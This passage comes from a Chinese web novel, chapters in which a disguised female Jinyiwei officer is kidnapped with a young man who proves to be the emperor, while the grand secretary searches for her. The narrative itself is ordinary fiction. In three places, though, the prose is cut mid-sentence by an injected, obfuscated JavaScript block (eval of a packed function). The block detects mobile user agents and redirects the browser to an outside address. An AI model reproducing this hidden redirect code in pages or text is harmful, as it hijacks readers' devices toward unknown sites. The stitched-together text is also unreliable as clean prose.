景暄和:“……” 两人就这样迷迷糊糊地睡去了,此时,建宁寺内却暗流涌动。 新月初上,华灯燃起,建宁寺别院守了一排御前侍卫“大汉将军”(1),他们神态肃穆,笔直站立,偶尔有微风吹过,层层的樱花瓣像飘雪一般落在他们的脚边,被风打了个旋儿,飘到了远方。 一人从远处走来,眸若寒星,面容俊美,白玉束发冠下,青丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555469|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘动,恍如神祇。 他本是雍容高贵之人,此时却步伐急促,脚下片片樱花发出细碎的响动,仿佛是为了衬托他的华贵高洁。 还未走近,御前侍卫纷纷施礼道:“见过万大人。” 万灵安眉头微皱,径直进入院内,周承恩赶忙过来迎接,万灵安向他摆手,示意不必多礼。 “周指挥使,密报上的消息可是千真万确?” “不敢戏言。”周承恩面色凝重地说。 万灵安负手,敛眉道:“此事事关重大,切勿声张,若是传出去了,京城大乱,后果不是你我可以承担的。” “是。” 万灵安:“刺客是否全部被抓获?” “歹徒有两伙人,第二伙人动作迅速,与第一伙人打斗后便飞速离开了,不知行踪,只留下前者的尸首。” “此事疑点颇多,还需从长计议。”万灵安走近一步,道:“第二伙人并未靠近别院,为何皇上会突然不见呢?” 原来,万灵安在半个时辰前收到密报,正是皇上失踪的消息。 今夜皇上与明贵妃分房而居,贵妃派人煮了参汤,亲自端到皇上的卧房,可守门的公公却说皇上歇下了,明贵妃见他神色躲闪,目光忐忑,便执意要进入卧房,谁知里面却空无一人! 小太监吓得不轻,只说皇上要他在门外守着,不得进入内房,若是有人进入,便乱棍打死,是以他才不敢让贵妃进去,谁知皇上竟会失踪呢? 周承恩:“下官也觉得蹊跷,现下已派出锦衣卫的精英出寺寻找,只是还有一事,不知当讲不当讲。” 万灵安:“但说无妨。” 周承恩:“还有一人也在今夜失踪了。” 万灵安:“周指挥使怕是糊涂了,某些闲杂人等的生死,怎可与圣上的安危相提并论?” 周承恩正色道:“失踪的人是锦衣卫总旗景暄和。” 万灵安背影一滞,手指渐渐收拢,他屏住呼吸,半晌,才道:“找,快找,无论付出何种代价,一定要将此人带到我的面前。” “万大人,周大人这便要开始行动了么?如此行事,将咱家的东厂置于何地啊?”魏福忠缓缓走来,声音带着讽刺。 东厂耳目众多,皇上失踪的消息一下就传到了魏福忠的耳中,只是他先按兵不动,没想到这二人却欲撇开他,单独部署。 周承恩:“魏公公,你来得真巧,不过救皇上是大事,锦衣卫自当迎难而上,不敢劳烦魏公公大驾。” 魏福忠冷哼了一声,道:“周指挥使此言差矣,你我都是为皇上办事,现在主子万岁爷不见了,你却想独自搜救,若救到了,是想独占功劳吗?” 万灵安面上带笑:“魏公公何出此言?皇上失踪原本就是锦衣卫的失职,现下他们也只是及时止损,谈不上什么功劳,最多是将功抵过。倒是魏公公如此火急火燎地赶来,是想将此事闹得更大么?” “依首辅大人的意思,东厂便该不闻不问吗?”魏福忠呵呵一笑,“你我都是吃皇粮的,圣上的恩情大过天,首辅大人若想一味封锁消息,到时万一没救回圣上,必将遭受天下人的责难,这个骂名,您担得起么?” 万灵安:“魏公公何须杞人忧天?皇上洪福齐天,必定能化险为夷,再说了,咱们陛下的秉性,魏公公恐怕比谁都清楚吧。” 魏福忠:“万大人的意思是……” 万灵安:“也许那个答案,我们都知道,只是不肯相信罢了。若魏公公现在从东厂调来下属,必定颇费一番周折,而锦衣卫就在建宁寺,若只用锦衣卫的人,也好调度编排一些。” 魏福忠目光深沉,“可是……” 万灵安声音清冷道:“现在天色也已不早,魏公公的意思本官清楚了,到时找到了圣上,本官必定会在圣上面前替魏公公美言,说东厂为找陛下也立了功,这样魏公公不费一兵一卒便得了陛下的赏赐,何乐而不为呢?” “首辅大人真是有颗七窍玲珑心啊,怪不得如此年轻,便坐到了第一阁臣的位置上。”魏福忠终于露出笑意,拍了拍万灵安的肩,道:“如此甚好,这件事咱家便全权交给首辅大人与周指挥使了。” “那便多谢魏公公了。”万灵安目送魏福忠离去,只听见身旁樱花凋落的声音。 他掸了掸被魏福忠触碰到的衣领,冷眼对随从道:“记住,这件狐皮氅回去便扔了,再也不要让我看到。” 20. 遇险被劫(3) 暗室里。 夜色渐深,青年缩成一团,像一只小兽,眉头蹙起,似乎陷入了什么噩梦。 “哥哥……” “哥哥……别丢下我……”他嘴里喃喃念着。 景暄和被青年的声音吵醒,打了个哈欠,推了推青年道:“喂——” 青年不动。 “喂!” 青年还是不动。 她只好踹他一脚。 青年蓦地惊醒:“发生什么事了?” 景暄和:“你睡得这么沉,小心他们将你丢到油锅里炸了你都不知道。” “你以为人家和你一样啊,这么残暴?”青年不以为意道。 景暄和瞥了他一眼,“有时候,过于乐观不是好事。” “过于悲观更不是好事。”青年揉了揉眼睛,突然望见景暄和腰间挂着一个葫芦,问道:“好奇特的葫芦啊,这里面装着什么?” 景暄和:“一条小黑蛇。” “什么?”青年似乎很震惊,“拿出来我看看。” 景暄和:“算了,别把你吓着了。” 青年:“拿出来看看啊,我最不怕小动物了。” 景暄和拗不过他,将葫芦打开,小黑蛇吐着信子爬了出来,身上的花纹像细碎的彩色宝石,散发荧光,它扭动着头部,停在景暄和脚边。 “它似乎和你很亲啊。”青年惊叹道。 “是啊,它叫阿彩,很乖的,还很通人性,有次我去郊外查案,将葫芦遗落到了草丛中,阿彩竟能识别我的气味,自己爬回了驻扎地。” 青年点头道:“这么说它嗅觉很灵敏呢。” 景暄和“咦”了一声,“也许,我们可以让阿彩帮忙,向外面传递信号。” 青年:“什么意思?” 景暄和从袖口掏出一方白帕,这是上次落水时万灵安递给她的帕子,上面有淡淡的月麟香的气味,她将帕子给小蛇嗅了嗅,又将其缠在小蛇的身上,道:“阿彩,找到这帕子的主人,将他带到这里来,明白么?” 说完便从窗口将小蛇放了出去。 景暄和心想,虽然第一次用小蛇吓过万灵安,可凭万灵安的脑子,只要看到这一方白帕,就会明白一切。 青年哈哈一笑:“送你这帕子的,是你的意中人吧。” 景暄和睨了他一眼:“臭小子,你胡说些什么?” “如果不是意中人,你怎么会随身携带这帕子呢?随身携带也就罢了,还整整齐齐地叠好?” 景暄和微笑道:“你还想被踹吗?” 青年赶忙与她拉开距离,吐了吐舌头:“我……我继续睡觉。” 景暄和闭上眼,反正闲着也是闲着,时间不能浪费,她脑中飞速运转,开始整理案情。 如果真的是高丽国的人为黛烟公主报仇,那么此前的三名死者一定存在着某种关联——他们极有可能与黛烟公主的死有关。忆起两名宫女的话,黛烟公主是因为偷盗才被皇上打入冷宫的,倘若公主真是被冤枉的,那么“神鸟夺心”就是一个复仇计划了。 奇怪的是,三人皆是在建宁寺的禅房中被杀。首先可以肯定的是,凶手并不是将他们掳来的,而是三人心甘情愿而来,否则守门的和尚肯定会发现异样。 那么,是什么让他们自愿来到禅房与凶手碰头呢?凶手会不会是他们的熟人呢? 不,三人的身份不同于寻常百姓,皆是有头有脸的大人物,如果是熟人碰面,他们不会选择寺庙这么偏远的地方——偷偷摸摸来到这里,更像是为了做什么交易,或者隐藏什么不为人知的秘密。 所以原因只有一个,凶手握有他们陷害黛烟公主的把柄,又或者凶手假意说自己握有把柄,实际上诱骗他们来禅房中,然后实施杀人计划。 凶手先让他们坐下,趁其不备,用银针刺入被害人头顶,致其死亡。 然后剜去心脏,再背着尸体从湖中潜入周府,最后离开周府,抛尸。 整个作案过程已然很清晰,凶手也能基本锁定在周府内,现在就差一个关键证据,指认真正的凶手。 周府人员构成并不复杂,成年男丁就周承恩与周思逑二人,还有几位妇人,不过景暄和在寿宴那日还看到周府的几位亲戚,最近住在周府,他们的嫌疑也不能排除。 想着想着,景暄和的眼皮越来越沉,突然,木门被推开,一条人影缓缓走近。 景暄和一个激灵地睁开眼,只见矮胖的汉子手上拿着刀,向他们走来,他的双眼无神,步伐缓慢,像个提线木偶。 景暄和将青年摇醒,青年不耐烦道:“你又干什么?” 她悄咪咪地指了指那矮胖的汉子,青年十分疑惑:“难道他中邪了?” 景暄和:“如果我猜得不错的话,他应该是在梦游。” 青年:“那我们还等什么,快跑啊。” 景暄和:“你腿不疼了吗?” “比起腿疼,还是性命要紧吧。”青年望了门外一眼,只见高瘦的汉子正在打呼噜,“这是千载难逢的机会,快跑吧!” 景暄和:“可是最晚天明就有人来救我们,与其慌乱逃跑,不如按兵不动。” 青年:“管不了那么多了,万一他们在天亮之前就将我们撕票了呢?” 景暄和心想,这伙人行踪诡谲,也不知捉他们来是求财还是害命?这青年说得也有道理,与其被动等待救援,不如主动出击。 于是,她跟在青年后面,蹑手蹑脚地逃出了暗室。 林中枝叶繁茂,不时有虫鸣声、鸟叫声,他们路过一片水杉林,参天的树木长在水中,巍峨挺拔,大约一个时辰后,便到了一处小河边。 此时天边泛起鱼肚白,林子渐渐亮了起来。 青年伸了个懒腰:“这下他们肯定追不上我们了,我身上又脏又臭,想必你也是一样,不如我们在这河中洗个澡,如何?” 景暄和气喘吁吁道:“这里荒郊野外的,不太安全,我们最好逃回城中,更加保险,再说你回家后,想怎么洗就怎么洗,何必非要在这小河边讲究呢?” “不要,我就想现在洗澡。”青年说着便开始宽衣解带。 景暄和赶忙背过身去,期期艾艾道:“那你洗吧,我去那边。” “都是男人,难道还怕看见什么?”青年吹了声口哨,笑着说。 景暄和坐在远处,脱下鞋袜,将双脚泡入小河中,只觉得浑身清凉,她托着腮,目光望向了远处。 青年哼着小曲儿,洗完后,正要开口叫景暄和,却见她的一双脚长得尤为灵动可爱,河水在她莹白的脚腕滑过,就像丝绸拂过。 他心中隐约有个念头,却不知是不是真的,突觉脚下一痛,一只蝎子叮了他一口,快速爬走了。 青年“啊”地一声捂住脚,景暄和一惊,转过头来。 青年大声道:“我被毒蝎子咬了!” 景暄和赶忙穿鞋过来,只见他脚肿了一大块,青年按住脚,龇牙咧嘴:“我不是要死了吧?” 景暄和:“这蝎子毒性不强,放点血就好了。” 说着便将头上的簪子拔下,往青年伤口一戳,又撕下衣服的布条,帮青年止血。 晨光中,青年只见眼前之人的长发垂了下来,披散在颊边,微垂眸子,有一种静默的美感。 包扎好后,青年咳嗽了一声:“现下我真的走不了路了,你不会丢下我自己跑路吧?” 景暄和若有所思地点点头:“这倒是个好主意。” 青年不满道:“喂,要是你把我丢下,我是决计不会放过你的!” 景暄和撇了撇嘴,整整衣服,扯下一块布将头发束起,“也罢,我背你吧。” 青年:“就你这身板,背的动我?再说你还没我高呢。” 景暄和:“你要是再叽叽喳喳,我便真的半路丢了你。” 青年没再说话,只是乖乖地趴到景暄和的背上来。 背着青年行走,景暄和已经累得说不出话,青年的呼吸均匀,似乎在她背上睡着了。 她很有些无语,上天为何这样作弄她,还让她遇到这样一个拖油瓶? 半路上,景暄和实在背不动青年了,便向一家农户买了头驴,让青年骑上,谁知他却死都不上,满脸嫌弃地说:“这驴太傻了,骑上去真是有损我英明神武的形象。” 景暄和:“呵,看到这驴倒让我想起我的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555470|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属,和你这娇滴滴的样子一比,他还真显得不拘小节呢。” 青年:“你怎能将我与一名小吏相比呢,真是贻笑大方,像我这样难得一遇的美男子,和你共处简直就是你的荣幸!” 景暄和懒得与他废话,叉腰道:“你要是不骑驴,我就让驴骑你。” 青年:“……” 最后不情不愿地上了驴。 农户旁不远是一处集市,景暄和本想绕道而行,青年却非不让她走。 他好像对什么都很新奇,拉着景暄和问这问那,突然将驴停在一处变戏法的摊子前,这摊子花花绿绿,挂了许多面具。 摊主正在表演戏法,他将空瓶放在桌上,用手将瓶子拿起,朝里面吹了口气,那瓶子竟然生出一颗豆子。 “有趣有趣!”青年拍手,对摊主说:“能教教我么?” 摊主笑眯眯道:“客官想学什么,只要给小人一两银子,便教你一个戏法。” “你会什么呢?”青年抱臂。 “呵,小人会的可多了,像‘仙人栽豆’、‘金钱抱柱’、‘巧变鸡蛋’、‘平地砸杯’、‘木棍自立’等,应有尽有。” 青年喃喃地说:“可是我没钱呐,要不你找我兄弟要?” 景暄和翻了个白眼,要钱的时候倒兄弟长,兄弟短了。 青年下了驴,在景暄和的搀扶下来到摊边,摊主教他一个戏法,青年很快就学会了,末了,又要景暄和给他买个面具玩玩。 景暄和想着反正也要与他分别了,便索性让他买个痛快,可青年在挑面具时,却陷入了纠结。 他在一个白虎面具和一个白龙面具之间摇摆不定,一会儿试试这个,一会又试试那个,景暄和戏谑一笑,道:“你可真是个优柔寡断的老太太。” “呸,你说谁呢?”青年心一横,“算了,就要这个白龙面具吧。” 景暄和付了钱,却见青年的目光落在了一串风铃上,那风铃叮叮作响,如清泉之音。 “想要么?”她问他。 青年点头,问道:“你还有钱么?” 景暄和看了眼钱袋,里面早已空空如也,眼珠一转,便对摊主说:“老板,我兄弟实在是喜欢这风铃,您看能不能送他一串,也算是买了这些东西的赠礼。” 摊主有些不快:“哎呀,客官,我这是小本生意,本来就没赚几个钱呢。” 景暄和:“我这兄弟是乡下来的,没见过什么世面,他十分仰慕顺天府的繁华,想带几样东西回去留作纪念。老板,你就看在他好不容易才来一次顺天府的面子上,忍心让他留有遗憾么?” “这……”老板低头,有些犹豫。 青年瞪了一眼景暄和,用唇语说:“你才乡下来的。” 景暄和忽略了青年的眼神,温声细语道:“老板,相逢即是有缘,下次若有其他朋友来顺天府,我还带他来您这小摊买东西,如何啊?” “好吧好吧,拿去吧。”摊主摆摆手。 青年接过面具与风铃,颇有些喜上眉梢,景暄和说时间不早了,要赶快回去,青年却还流连忘返,最后缠着景暄和带他逛了几处巷子,才算作罢。 半个时辰后。 “建宁寺”的牌匾印入眼帘,景暄和长长地吁了一口气,一颗悬着的心终于放了下来。 四名小旗守候在寺外,见景暄和回来了,赶忙上来迎接。 高大虎道:“大人,您终于回来了,我还以为您遇到了什么不测呢。” 张二越:“是啊,周大人昨晚就派人去寻你们了,没想到您竟自己回来了。” 齐三陌将手腕上的佛珠滚了滚,念了声“阿弥陀佛”,赵四梁朝她点点头。 不多时,周承恩听到通报也过来了,景暄和朝他施了一礼,他本想说免礼,可是看到景暄和身后那人,却脸色一变,突然跪地。 景暄和不解,只见周承恩恭恭敬敬地说:“下官叩见圣上万岁爷。” “周爱卿,平身。”青年面带微笑道。 景暄和转身,只见他的神态端庄肃穆,已然不见之前的轻佻散漫。 明明在笑,眼中却很冷漠,好像从头到尾,从里到外,换了个人。 21. 白龙太子 “下官叩见皇上。”景暄和深吸一口气,跪了下来。 青年却似笑非笑地看着她,半晌,才缓缓道:“平身吧。” “谢皇上。”景暄和起身,目光却垂了下来。 当今皇上朱懿德是前怀献太子的弟弟,二人同父异母,怀献太子的母亲是杭皇后,而二皇子朱懿德的母亲是李淑妃,杭皇后病逝后,先皇悲痛不已,谁知祸不单行,怀献太子也去世了,先皇受不了打击,猝然薨逝,当今皇上才临危受命,继承大统。 众所周知,怀献太子是一名传奇人物,而传奇人物自有他的神秘之处。 相传怀献太子出生前,杭皇后曾做了一个梦,梦里有一潜龙腾渊,搅起波澜壮阔,白色的鳞片在阳光下闪着瑞光。 钦天监的官员都说这梦大吉,出生的皇子一定会光耀大明。先皇龙颜大悦,为太子修建了一根白龙柱,这柱子高十九尺,用上好的汉白玉雕刻出一条栩栩如生的白龙,绮丽非凡。 谁知某天狂风大作,惊雷竟将柱子劈开了。有宫女说在那天,看到一条真正的白龙,盘亘在柱子边,吞云吐雾,搅动风云。从那天起,怀献太子便生了一场大病,宫里传言有妖孽横行,正是那条白龙,夺去了太子的性命。 不过景暄和一向不信这些鬼怪之说,宫廷秘辛也好,传奇故事也罢,结局总归只有一个,当怀献太子离世的那一刻,便带走了所有的前尘喧嚣。 人死如灯灭,传奇埋入尘埃。 “皇上,真是吓死臣妾了。” 明贵妃头戴龙凤珠翠冠,穿红色大袖衣,匆匆而来,她的面容并不十分美丽,顶多算中人之姿,却给人一种柔和的感觉,像一朵江南烟雨中的解语花。 “这位小吏有功啊,若非是他,朕也不会这么快脱离险境。”朱懿德负着手,对周承恩道:“周爱卿教导属下有方,让朕十分欣慰。” “皇上谬赞了,这是微臣应该做的。”周承恩道。 明贵妃脸上漾起一丝笑:“看到皇上没事,臣妾便也放心了,只是皇上一向赏罚分明,这小吏理应受赏才是。” 景暄和微微抬头,却对上明贵妃打量的目光,她客客气气道:“多谢贵妃娘娘,保护皇上是微臣的责任,既然是做分内的事,何来奖赏呢?不过微臣目前正在调查神鸟夺心案,有一个小小的请求,不知皇上能否应允?” 朱懿德眼眸微抬:“哦?既然与案子有关,便但说无妨吧。” “皇上可知,死者肩上的三足金乌图案是高丽国的图腾?而高丽国曾献给陛下一位黛烟公主,她被皇上打入了冷宫,皇上可还记得她?” 朱懿德神色微变,明贵妃见状,道:“那女人不懂感恩,实在是品行不端,皇上将她打入冷宫,也是明智之举。” 景暄和点头:“下官自然不会质疑皇上的判断,只是现下种种证据表明,夺心案与黛烟公主有关,是以下官才斗胆请求皇上,能否让下官查看黛烟公主生前的居所,说不定能发现些蛛丝马迹。” “竟与她有关?”朱懿德的目光带着些说不清、道不明的意味。 明贵妃缓缓道:“这恐怕不妥,先不谈此案是否与那废妃有关,光是她居住的玉露殿便已年久失修了,你想探查案子自然是好的,不过深宫大院毕竟有些不便,何不另寻破案的出路呢?” 景暄和心想,怪不得明贵妃圣宠不衰,常言道“以色事人者,色衰而爱驰,爱驰则恩绝”,明贵妃虽容貌不出众,可她能想皇上之所想,急皇上之所急,面对这样一个心思剔透的贴心人,恐怕谁都无法忘怀吧。 朱懿德:“贵妃说的有理,不过这神鸟夺心案连太后都十分关切,若能尽快破案,自然是皆大欢喜。这样吧,若你能办成一件事,朕便许你查看那废妃的居所,如何啊?” “皇上请说。”景暄和抱拳道。 “这次的绑架案着实奇怪,虽然朕与爱卿顺利脱险,可朕总是放不下心,若你能查出这绑架案的幕后主使,朕便答应你的请求。” 他顿了顿,又道:“现下有邪|教作乱,属白莲教首当其冲。大明律法规定,但凡巫师假借邪神,书符咒水,扶鸾祷圣,又或者他们自称端公、太保、师婆的,全是旁门左道之术。朕怀疑这次绑架便是白莲教的手笔,希望爱卿能尽快找出主使,不要让朕失望。” 自明太|祖时期,便有邪|教作乱,当时太祖令礼部张榜以示天下:“若有人加入白莲、灵宝、火居之派者,皆治重罪。” 其中为首者处以绞刑,为从者各仗一百,流放三千里。可时到今日,这些教派的活动仍然没有停止,甚至有愈演愈烈之势,所以此次绑架案的主谋,也许与邪|教脱不了关系。 景暄和询问道:“不知这些凶徒现在如何了?” 周承恩:“情况有些复杂,半个时辰后本官可带你去看他们的尸首。” “不知景爱卿作何考虑?”朱懿德淡淡道。 景暄和:“皇上一言九鼎,决计不会食言,既然皇上发话了,下官自当竭力而为。” 朱懿德颔首:“一言为定,你这就下去准备吧。” “皇上圣安,下官告退。”景暄和说完便行礼离开了。 明贵妃见朱懿德目送这小吏远去,不觉抿嘴道:“皇上似乎对他很感兴趣?” “感兴趣倒说不上,只觉得是个挺有意思的人儿。”朱懿德浓黑的眉毛皱了皱,“爱妃如此发问,是有什么心事么?” “陛下宠爱臣妾,不过是因为臣妾能看懂您的心思,从无例外,可这次却为了这小吏而破例,倒让臣妾有些意外。”明贵妃声音温吞,明眸一闪道。 “不过是找乐子罢了,爱妃何必如此介怀?”朱懿德打了个哈欠,“朕累了,想回房中歇息,爱妃若无其他事,便也退下吧。” “臣妾遵旨。”明贵妃朝朱懿德做了个万福,便回到了住处。 她闲来无事,拿出一本《诗经》来读,突然神思涌动,问身旁的宫女:“首辅大人可回了建宁寺?” 宫女摇头道:“不曾,万大人从昨晚出去了,就一直没回来,听说是为了寻找皇上的踪迹。” “又是一宿没睡么?”明贵妃揉了揉太阳穴,“我这侄儿什么都好,就是有时太固执了,派几个人去通报一声,就说陛下回来了,让他不用担心。” “首辅大人本是在寺中等待,可是昨晚见到一条小蛇,便神色一变,非要亲自前去。” “竟有此事?”明贵妃喝了口茶,“也罢,灵安一向遇事冷静,无需让人操心,他要做某件事自有他的道理,这些年过去了,能让他心乱的,也只有他梦中的那位姑娘了。” 万灵安曾经跟明贵妃提过那件事,明贵妃却觉得事情太过奇幻。 也许只是他烧糊涂,做的一场梦罢了。 这世上有谁会对梦中的女子念念不忘呢? 恐怕也只有他一人了, *** 景暄和顺着小径往回走,打算先沐浴换件衣裳,再去停尸房查验刺客的尸体,谁知前方熙熙攘攘,魏福忠被几名宦官簇拥着前往皇帝的院落。 他贵为掌印太监,消息一向灵通,陛下归来,他自当第一个前去迎接。 景暄和不想与他打照面,只是驻足站在一棵柳树边,压低脑袋,等魏福忠过去了再行离开。 魏福忠穿一身绯色袍服,步伐平缓,身后的低级宦官则穿青色服装, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555471|155429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过柳树边时,魏福忠本与景暄和擦身而过,却突然停下了脚步。 “听说景总旗这次与皇上是一同被劫的?”魏福忠顿了顿,道:“咱家与你可真有缘分呢,想必皇上已经安全回到院落了吧。” “魏公公真爱开玩笑,景某一介草莽,怎敢与公公有缘。”景暄和淡淡一笑,“公公如此挂念皇上,主仆情深,才是让人感动呢。” “听闻皇上另外交代了你一项任务,还希望景总旗再接再厉,不要让万岁爷失望啊。”魏福忠道。 景暄和心想,自己从皇上那出来不过一柱香的时间,魏福忠竟然立马就知道了此事,看来他的爪牙已经遍布宫中,实在不容小觑。 “咱家还要侍奉万岁爷,就不与景总旗多说了。”魏福忠笑道。 景暄和施了一礼:“自然是皇上的事情要紧,魏公公赶紧去吧。” 二人就此别过,景暄和沐浴后回到自己的住处,一推门,却见屋内有些漆黑。 她转身合上门,突然眼皮一跳——暗处似乎坐着一个人,空气中弥漫着月麟香的味道。 万灵安冷哼了一声,道:“很好,你还知道回来。” 景暄和没有说话,只见午后的光线从窗外洒了进来,落到二人的衣袂上。 万灵安的声音带着倦意,一手支着头,缓缓道:“好累,昨天找你找了一晚上,某人也不说声谢谢。” 他早已派了精锐去寻圣上,可是景暄和那边却是自己亲自去找的。 景暄和一愣,万灵安居然找了她一晚上? 她不知怎么回他,只是说:“下官不才,让万大人费心了,多谢万大人体恤我们这些小吏。” 万灵安突然起身,离景暄和很近,就在二人目光相对时,万灵安突然重重地捏了一下她的脸颊。 景暄和捂着脸,惊讶道:“万大人这是做什么?” “做什么?”他声音低沉,“你知道报复这两个字怎么写么?” “大人这是在报复我?”景暄和愈发吃惊,“小人不知哪里得罪大人了?” 万灵安闭上眼睛,回忆起昨晚发生的一切。 当他在小蛇的引领下前进时,只觉得心情紧张,好像每走一步,便离她越近似的。 谁知刚到暗房,却发现房门大开,里面空无一人。 思绪一时纷繁杂乱,像冬天迷茫的风雪,种种不安的念头涌上心间。 难道……她是遭到了不测? 这个念头一出,就让万灵安感到恐惧。 对,恐惧。 这是他最直观的感受,只觉得手指发颤,心弦大动,听不进、也不想听任何的话语。 时间已经过去十八年,万灵安本以为自己已经忘了害怕是什么感觉,可在这一刻,却如此真实地感受到了。 这一刻,他突然意识到,即使戴上再多面具,即使获得滔天的权势,也总有他不能握住的东西。 真是可恶,她明明害他担心,却装作一副无所谓的样子,竟还能如此淡然地问他,自己哪里得罪他了?! 门外突然响起高大虎的声音。 “大人,周指挥使请你现在去停尸房查验尸体呢。” “知道了。”景暄和应和了一声。 万灵安却没有动,只是目光深沉地望着她。 “万大人,真是不巧,下官还有事在身呢。”景暄和低声对万灵安道。 万灵安缓缓地、一点一点地靠近,他的嘴唇略过景暄和的耳边,轻飘飘地吐出几个字。 景暄和眼眸一闪,划过错愕的表情。 她本想压下这表情,可万灵安的话却太让她震惊,以至于一时失了应对之策。